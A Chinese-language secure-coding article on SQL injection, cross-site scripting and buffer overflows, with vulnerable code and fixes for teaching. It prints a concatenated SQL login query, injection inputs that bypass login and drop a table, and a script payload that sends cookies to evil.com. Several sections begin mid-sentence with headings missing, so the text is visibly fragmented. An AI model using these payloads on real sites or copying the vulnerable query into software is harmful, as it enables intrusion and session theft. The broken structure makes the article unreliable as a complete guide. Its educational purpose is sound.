Web 2.0 時代,豐富交互體驗與安全風險並存。開發者必須在「功能誘惑」與「安全底線」間找到平衡點。本文提煉三大核心原則,並以 SQL 注入、跨站腳本(XSS)、數據溢出三大經典漏洞為例,示範攻擊原理與修復方案。
SELECT/INSERT/UPDATE 權限的專用帳號,嚴禁使用 sa/root。脆弱代碼:
string sql = "SELECT * FROM Users WHERE username = '" + txtUser.Text
+ "' AND password = '" + txtPwd.Text + "'";
攻擊者輸入 ' OR 'a'='a 繞過認證;輸入 '; DROP TABLE Users-- 刪除資料表。
修復方案 A:參數化查詢/預存程序
CREATE PROC sp_CheckUser @User VARCHAR(20), @Pwd VARCHAR(20), @Valid BIT OUTPUT
AS
SELECT @Valid = CASE WHEN COUNT(*)=1 THEN 1 ELSE 0 END
FROM Users WHERE Username=@User AND Password=@Pwd
C# 呼叫:
cmd.Parameters.Add("@User", txtUser.Text);
cmd.Parameters.Add("@Pwd", txtPwd.Text);
參數化確保輸入被視為數據而非可執行代碼。
修復方案 B:輸入轉義(次選)
username = username.Replace("'", "''");
password = password.Replace("'", "''");
將單引號加倍,破壞注入語法結構。
攻擊者在留言板提交 <script>new Image().src='https://evil.com/?c='+document.cookie</script>,受害者瀏覽頁面時 Cookie 被竊取。
防禦:輸出編碼(HTML Entity Encode)、實施內容安全策略(CSP)、使用成熟的消毒庫(如 DOMPurify)、禁止 innerHTML 直接渲染用戶內容。
strncpy_s 替代 strcpy)、編譯器開啟 /GS 栈保護、定期模糊測試。javascript:document.getElementById('txt').maxLength=1000 可破解前端限制,再次證明伺服器端驗證不可或缺。安全非功能附屬品,而是架構基因。將三大原則內化為團隊文化,配合代碼審查、自動化掃描、滲透測試,方能在 Web 2.0 的浪潮中穩健前行。